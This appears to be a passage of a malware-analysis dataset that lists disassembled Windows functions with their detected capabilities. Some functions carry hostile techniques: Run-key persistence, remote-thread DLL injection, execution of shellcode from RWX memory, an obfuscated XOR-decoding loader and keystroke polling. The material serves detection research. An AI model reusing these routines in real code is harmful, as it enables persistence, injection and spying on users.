joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6b24131e
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x6b24136d
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x6b241369
jmp 0x6b24137d
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x6b241379
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret

Function at 0x6b2414c2
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x6b2415bb
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6b241601
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x6b24164a
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x6b241647
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x6b24164a
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6b2417a2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x6b241b70
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6b24603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6b246034]
sub esp, 4
test ebx, ebx
je 0x6b241bbb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6b241bb4
test esi, esi
je 0x6b241bb4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6b241b90
mov dword [esp], 0x6b24603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6b241da0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6b244148
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6b241df0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6b241ec8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6b241e2e
cmp eax, 4
jne 0x6b241e50
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6b241e3e
cmp edx, 4
je 0x6b241e3e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6b241da0
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x402c00
pop dword [ebp - 0x28]
mov eax, 0x402c00
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x975ef75d
sub dword [ebp - 0x38], 0x490cb212
mov dword [ebp - 0x34], 0x87fbdd61
sub dword [ebp - 0x34], 0x55c8911c
mov dword [ebp - 0x30], 0xd776943d
sub dword [ebp - 0x30], 0x8b2a500f
mov dword [ebp - 0x2c], 0x871073ab
sub dword [ebp - 0x2c], 0x871073ab
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xd27b481a
sub dword [ebp - 0x38], 0x5e08dec4
mov dword [ebp - 0x34], 0xbc2faeb0
add dword [ebp - 0x34], 0x853cb2c5
mov dword [ebp - 0x30], 0xa55946d4
sub dword [ebp - 0x30], 0x41e9da68
mov dword [ebp - 0x2c], 0x78d2f8de
sub dword [ebp - 0x2c], 0x78d2f8de
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x39faf0cd
sub eax, 0x39ba8025
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x36476
push 0
call eax
mov ecx, 0x465c
mov edi, eax
mov ebx, 0x17881e3e
sub ebx, 0x17471e3e
add ebx, dword [ebp - 0x28]
mov edx, 0xd029e196
add edx, 0x38fa9a63
xor dword [ebp - 4], 0xe6091fae
mov esi, dword [ebx]
xor esi, edx
sub dword [ebp - 8], edx
mov dword [edi], esi
add dword [ebp - 0x1c], 0x86ea60c
add edi, 4
add ebx, 0x45a79f81
sub ebx, 0x45a79f7d
loop 0x402d12
add eax, 0xaaf3c470
sub eax, 0xaaf2b82d
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x487fdb
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0048818b
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x4880d9
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x48807c
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x4880bf
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x488093
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x4880ae
test al, 0x40
je 0x4880a5
mov ecx, dword [edi + 0x20]
jmp 0x4880ac
test al, 0x80
je 0x4880bf
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x4880bf
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x48804b
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x493e90
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4f2cbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004e7701
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x493f12
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004e53e0
mov eax, dword [eax]
push 0x56f1f0
push eax
call fcn.004d8024
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004e798c
test bl, bl
je 0x493f12
push 0x56f1f0
lea ecx, [esp + 0xc]
call fcn.004e7d1c
push 0x572d64
lea ecx, [esp + 0xc]
call fcn.004e7d1c
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x493f4e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004e798c
jmp 0x494019
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x493fd2
lea edx, [esp + 0x7c]
push 0x572d60
push edx
call fcn.004d8024
add esp, 8
test eax, eax
je 0x493fd2
lea eax, [esp + 0x7c]
push 0x572d5c
push eax
call fcn.004d8024
add esp, 8
test eax, eax
je 0x493fd2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x493f62
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004e798c
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x494810
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x494872
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x494880
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4f2d3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x579358]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4949b8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4948e6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004e798c
xor eax, eax
jmp 0x494a2f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004e7ac9
push esi
lea ecx, [esp + 0xc]
call fcn.004e7d58
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x572d9c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x494a0d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00494810
test eax, eax
jne 0x494a0d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00494810
test eax, eax
jne 0x494a0d
lea eax, [esp + 0x14]
push 0x572d78
push eax
call fcn.004d9060
mov esi, eax
add esp, 8
test esi, esi
jne 0x4949ec
lea ecx, [esp + 0x14]
push 0x572d74
push ecx
call fcn.004d8fe0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4949ec
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4949ef
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004e7a79
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4948fe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004e798c
xor eax, eax
jmp 0x494a2f
mov byte [esi], 0
push 0x572d70
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004e798c
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4a53c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4a542e
cmp si, 0x69
ja 0x4a542e
add esi, 0xffd0
cmp si, 0x11
je 0x4a53fe
push 0x11
call edi
test ax, ax
jge 0x4a53fe
or esi, 0x2000
cmp si, 0x10
je 0x4a5413
push 0x10
call edi
test ax, ax
jge 0x4a5413
or esi, 0x4000
cmp si, 0x12
je 0x4a5428
push 0x12
call edi
test ax, ax
jge 0x4a5428
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4a543b
mov esi, 0xbd
jmp 0x4a53ef
cmp si, 0x6e
jne 0x4a5448
mov esi, 0xbe
jmp 0x4a53ef
cmp si, 0x6f
jne 0x4a53e9
mov esi, 0xbf
jmp 0x4a53ef

Function at 0x4a6ae0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5899e8]
xor edx, edx
cmp eax, edx
jne 0x4a6b06
xor eax, eax
mov byte [eax + 0x5898e8], al
inc eax
cmp eax, 0x100
jl 0x4a6aee
mov dword [0x5899e8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5898e8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4a6b97
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4a6b6a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4a6b38
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4a6c10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4a6c63
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4a6c4a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4ad6a0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4ad838
cmp ebp, ebx
jle 0x4ad838
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4ad6fe
dec eax
or eax, 0xfffffff8
inc eax
je 0x4ad705
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4ad714
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4ad71b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004e76cd
add esp, 4
cmp eax, ebx
je 0x4ad73c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004e76cd
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4ad82e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4ad815
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4ad801
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4ad7f6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4ad804
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4ad804
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4ad7a0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4ad791
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4b0880
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f4248
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4b08b9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004ef07a
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004ef0c6
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004b0940
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004ef103
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24